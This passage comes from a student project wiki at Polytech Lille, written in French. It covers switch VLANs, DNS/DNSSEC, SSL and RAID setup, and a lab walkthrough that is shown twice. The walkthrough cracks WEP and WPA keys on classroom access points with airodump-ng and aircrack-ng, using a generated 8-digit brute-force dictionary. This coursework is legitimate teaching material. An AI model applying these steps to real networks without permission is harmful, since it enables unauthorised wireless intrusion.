-48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35907 2016-12-12T10:32:54Z

<p>Rruet : /* Sécurisation des données */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> Nous commençons dans un premier temps à créer trois partitions via les commandes suivantes :<br /> <br /> lvcreate -L 1G -n /dev/virtual/ironman-1 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-2 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-3 -v<br /> <br /> Puis nous modifions notre fichier de configuration de machine virtuelle Ironman.cfg en y ajoutant les trois lignes suivantes dans la partie '''disk''':<br /> <br /> 'phy:/dev/virtual/ironman-1,xvdd,w',<br /> 'phy:/dev/virtual/ironman-2,xvde,w',<br /> 'phy:/dev/cirtual/ironman-3,xvdf,w',<br /> <br /> A partir de ce moment là, on relance notre machine virtuelle, puis on y installe le paquet mdadm.<br /> <br /> Nous créons ensuite le volume /dev/md0:<br /> <br /> mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf <br /> <br /> On affiche ensuite la configuration actuelle de /dev/md0:<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> On sauvegarde ensuite la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail --scan &gt;&gt; /etc/mdadm/mdadm.conf<br /> <br /> Puis nous créons un dossier /datamd0 que nous montons sur notre device md0 :<br /> <br /> root@Ironman:~# mkfs /dev/md0<br /> root@Ironman:~# mkdir /datamd0<br /> root@Ironman:/datamd0# mount /dev/md0 /datamd0/<br /> <br /> <br /> Nous pouvons ensuite créer un fichier de test sur le raid 5 (iron-man.txt):<br /> <br /> root@Ironman:/datamd0# ls<br /> lost+found test_ironman.txt<br /> <br /> On ferme ensuite notre machine, puis nous modifions son fichier .cfg afin qu'elle ne prenne plus en compte la partition xvdd (on commente la ligne). <br /> Nous relançons ensuite la machine virtuelle, puis nous réaffichons la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 2<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 17:05:13 2016<br /> State : clean, degraded <br /> Active Devices : 2<br /> Working Devices : 2<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 6<br /> Number Major Minor RaidDevice State<br /> 0 0 0 0 removed<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> On constate bien que la partion xvdd a été enlevée. Et que le fichier de test sur le raid est toujours présent :<br /> <br /> root@Ironman:~# ls /datamd0/<br /> lost+found test_ironman.txt<br /> <br /> ===Création du serveur d'authentification FreeRadius===<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP 